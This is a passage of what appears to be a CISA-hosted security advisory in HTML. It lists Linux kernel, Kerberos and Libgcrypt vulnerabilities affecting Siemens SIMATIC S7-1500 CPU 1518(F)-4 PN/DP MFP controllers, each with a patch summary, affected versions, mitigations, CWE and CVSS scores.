<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31674</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ip6t_rt: reject oversized addrnr in rt_mt6_check() Reject rt match rules whose addrnr exceeds IP6T_RT_HOPS. rt_mt6() expects addrnr to stay within the bounds of rtinfo-&gt;addrs[]. Validate addrnr during rule installation so malformed rules are rejected before the match logic can use an out-of-range value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31674">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31680</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ipv6: flowlabel: defer exclusive option free until RCU teardown `ip6fl_seq_show()` walks the global flowlabel hash under the seq-file RCU read-side lock and prints `fl-&gt;opt-&gt;opt_nflen` when an option block is present. Exclusive flowlabels currently free `fl-&gt;opt` as soon as `fl-&gt;users` drops to zero in `fl_release()`. However, the surrounding `struct ip6_flowlabel` remains visible in the global hash table until later garbage collection removes it and `fl_free_rcu()` finally tears it down. A concurrent `/proc/net/ip6_flowlabel` reader can therefore race that early `kfree()` and dereference freed option state, triggering a crash in `ip6fl_seq_show()`. Fix this by keeping `fl-&gt;opt` alive until `fl_free_rcu()`. That matches the lifetime already required for the enclosing flowlabel while readers can still reach it under RCU.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31680">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31682</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bridge: br_nd_send: linearize skb before parsing ND options br_nd_send() parses neighbour discovery options from ns-&gt;opt[] and assumes that these options are in the linear part of request. Its callers only guarantee that the ICMPv6 header and target address are available, so the option area can still be non-linear. Parsing ns-&gt;opt[] in that case can access data past the linear buffer. Linearize request before option parsing and derive ns from the linear network header.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31682">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.1</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31737</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ftgmac100: fix ring allocation unwind on open failure ftgmac100_alloc_rings() allocates rx_skbs, tx_skbs, rxdes, txdes, and rx_scratch in stages. On intermediate failures it returned -ENOMEM directly, leaking resources allocated earlier in the function. Rework the failure path to use staged local unwind labels and free allocated resources in reverse order before returning -ENOMEM. This matches common netdev allocation cleanup style.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31737">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31752</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bridge: br_nd_send: validate ND option lengths br_nd_send() walks ND options according to option-provided lengths. A malformed option can make the parser advance beyond the computed option span or use a too-short source LLADDR option payload. Validate option lengths against the remaining NS option area before advancing, and only read source LLADDR when the option is large enough for an Ethernet address.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31752">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/805.html">CWE-805 Buffer Access with Incorrect Length Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31761</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: gyro: mpu3050: Move iio_device_register() to correct location iio_device_register() should be at the end of the probe function to prevent race conditions. Place iio_device_register() at the end of the probe function and place iio_device_unregister() accordingly.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31761">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31768</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: iio: adc: ti-adc161s626: use DMA-safe memory for spi_read() Add a DMA-safe buffer and use it for spi_read() instead of a stack memory. All SPI buffers must be DMA-safe. Since we only need up to 3 bytes, we just use a u8[] instead of __be16 and __be32 and change the conversion functions appropriately.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31768">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40355</a></h3>
<div class="csaf-accordion-content">
<p>In MIT Kerberos 5 (aka krb5) before 1.22.3, there is a NULL pointer dereference if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, causing the process to terminate in parse_nego_message.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40355">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-41989</a></h3>
<div class="csaf-accordion-content">
<p>Libgcrypt before 1.12.2 sometimes allows a heap-based buffer overflow and denial of service via crafted ECDH ciphertext to gcry_pk_decrypt.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-41989">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43011</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix potential double free of skb When alloc_skb fails in x25_queue_rx_frame it calls kfree_skb(skb) at line 48 and returns 1 (error). This error propagates back through the call chain: x25_queue_rx_frame returns 1 | v x25_state3_machine receives the return value 1 and takes the else branch at line 278, setting queued=0 and returning 0 | v x25_process_rx_frame returns queued=0 | v x25_backlog_rcv at line 452 sees queued=0 and calls kfree_skb(skb) again This would free the same skb twice. Looking at x25_backlog_rcv: net/x25/x25_in.c:x25_backlog_rcv() { ... queued = x25_process_rx_frame(sk, skb); ... if (!queued) kfree_skb(skb); }</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43011">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43024</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: reject immediate NF_QUEUE verdict nft_queue is always used from userspace nftables to deliver the NF_QUEUE verdict. Immediately emitting an NF_QUEUE verdict is never used by the userspace nft tools, so reject immediate NF_QUEUE verdicts. The arp family does not provide queue support, but such an immediate verdict is still reachable. Globally reject NF_QUEUE immediate verdicts to address this issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43024">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
